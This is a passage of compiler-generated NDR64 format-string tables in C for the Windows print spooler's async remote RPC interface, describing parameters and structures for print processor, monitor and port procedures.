1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag831_t __midl_frag831 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 40 /* 0x28 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag830_t __midl_frag830 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag831\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag829_t __midl_frag829 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag830\n};\n\nstatic const __midl_frag823_t __midl_frag823 =\n{ \n/* RpcAsyncEnumPrintProcessorDatatypes */\n    { \n    /* RpcAsyncEnumPrintProcessorDatatypes */      /* procedure RpcAsyncEnumPrintProcessorDatatypes */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 16 /* 0x10 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1021,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorName */      /* parameter pPrintProcessorName */\n        &__midl_frag1021,\n        { \n        /* pPrintProcessorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* Level */      /* parameter Level */\n        &__midl_frag1018,\n        { \n        /* Level */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pDatatypes */      /* parameter pDatatypes */\n        &__midl_frag829,\n        { \n        /* pDatatypes */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag948,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag948,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag948,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag948,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag815_t __midl_frag815 =\n{ \n/* RpcAsyncDeletePrintProcessor */\n    { \n    /* RpcAsyncDeletePrintProcessor */      /* procedure RpcAsyncDeletePrintProcessor */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag1021,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pEnvironment */      /* parameter pEnvironment */\n        &__midl_frag1021,\n        { \n        /* pEnvironment */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPrintProcessorName */      /* parameter pPrintProcessorName */\n        &__midl_frag1022,\n        { \n        /* pPrintProcessorName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1018,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag802_t __midl_frag802 =\n{ \n/* MONITOR_INFO_2 */\n    { \n    /* MONITOR_INFO_2 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* MONITOR_INFO_2 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1022\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1022\n        },\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 16 /* 0x10 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1022\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag801_t __midl_frag801 =\n{ \n/* *MONITOR_INFO_2 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag802\n};\n\nstatic const __midl_frag799_t __midl_frag799 =\n{ \n/* MONITOR_INFO_1 */\n    { \n    /* MONITOR_INFO_1 */\n        0x31,    /* FC64_PSTRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* MONITOR_INFO_1 */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_NO_REPEAT_FORMAT */\n            0x80,    /* FC64_NO_REPEAT */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* *wchar_t */\n            0x21,    /* FC64_UP */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag1022\n        },\n        0x93    /* FC64_END */\n    }\n};\n\nstatic const __midl_frag798_t __midl_frag798 =\n{ \n/* *MONITOR_INFO_1 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag799\n};\n\nstatic const __midl_frag797_t __midl_frag797 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 0 /* 0x0 */\n    }\n};\n\nstatic const __midl_frag796_t __midl_frag796 =\n{ \n/* __MIDL_IRemoteWinspool_0010 */\n    { \n    /* __MIDL_IRemoteWinspool_0010 */\n        0x51,    /* FC64_NON_ENCAPSULATED_UNION */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT8) 0 /* 0x0 */,\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag797,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM_SELECTOR */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT8) 7 /* 0x7 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 1 /* 0x1 */,\n        &__midl_frag798,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    { \n    /* struct _NDR64_UNION_ARM */\n        (NDR64_INT64) 2 /* 0x2 */,\n        &__midl_frag801,\n        (NDR64_UINT32) 0 /* 0x0 */\n    },\n    (NDR64_UINT32) 4294967295 /* 0xffffffff */\n};\n\nstatic const __midl_frag795_t __midl_frag795 =\n{ \n/* MONITOR_CONTAINER */\n    { \n    /* MONITOR_CONTAINER */\n        0x34,    /* FC64_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* MONITOR_CONTAINER */\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        0,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_EMBEDDED_COMPLEX_FORMAT */\n            0x91,    /* FC64_EMBEDDED_COMPLEX */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            &__midl_frag796\n        },\n        { \n        /* MONITOR_CONTAINER */\n            0x92,    /* FC64_BUFFER_ALIGN */\n            (NDR64_UINT8) 7 /* 0x7 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag794_t __midl_frag794 =\n{ \n/* *MONITOR_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag795\n};\n\nstatic const __midl_frag791_t __midl_frag791 =\n{ \n/* RpcAsyncAddMonitor */\n    { \n    /* RpcAsyncAddMonitor */      /* procedure RpcAsyncAddMonitor */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* Name */      /* parameter Name */\n        &__midl_frag1021,\n        { \n        /* Name */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pMonitorContainer */      /* parameter pMonitorContainer */\n        &__midl_frag795,\n        { \n        /* pMonitorContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1018,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag789_t __midl_frag789 =\n{ \n/* *PORT_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag755\n};\n\nstatic const __midl_frag784_t __midl_frag784 =\n{ \n/* RpcAsyncSetPort */\n    { \n    /* RpcAsyncSetPort */      /* procedure RpcAsyncSetPort */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x72,    /* FC64_BIND_PRIMITIVE */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag942,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPortName */      /* parameter pPortName */\n        &__midl_frag942,\n        { \n        /* pPortName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pPortContainer */      /* parameter pPortContainer */\n        &__midl_frag755,\n        { \n        /* pPortContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1018,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag780_t __midl_frag780 =\n{ \n/*  */\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag777\n    }\n};\n\nstatic const __midl_frag777_t __midl_frag777 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag797\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag776_t __midl_frag776 =\n{ \n/* PORT_VAR_CONTAINER */\n    { \n    /* PORT_VAR_CONTAINER */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_VAR_CONTAINER */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag780,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag775_t __midl_frag775 =\n{ \n/* *PORT_VAR_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag776\n};\n\nstatic const __midl_frag774_t __midl_frag774 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *BYTE */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag883\n    }\n};\n\nstatic const __midl_frag771_t __midl_frag771 =\n{ \n/* PORT_INFO_FF */\n    { \n    /* PORT_INFO_FF */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_FF */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */,\n        0,\n        0,\n        &__midl_frag774,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag770_t __midl_frag770 =\n{ \n/* *PORT_INFO_FF */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag771\n};\n\nstatic const __midl_frag769_t __midl_frag769 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    }\n};\n\nstatic const __midl_frag767_t __midl_frag767 =\n{ \n/* PORT_INFO_3 */\n    { \n    /* PORT_INFO_3 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* PORT_INFO_3 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        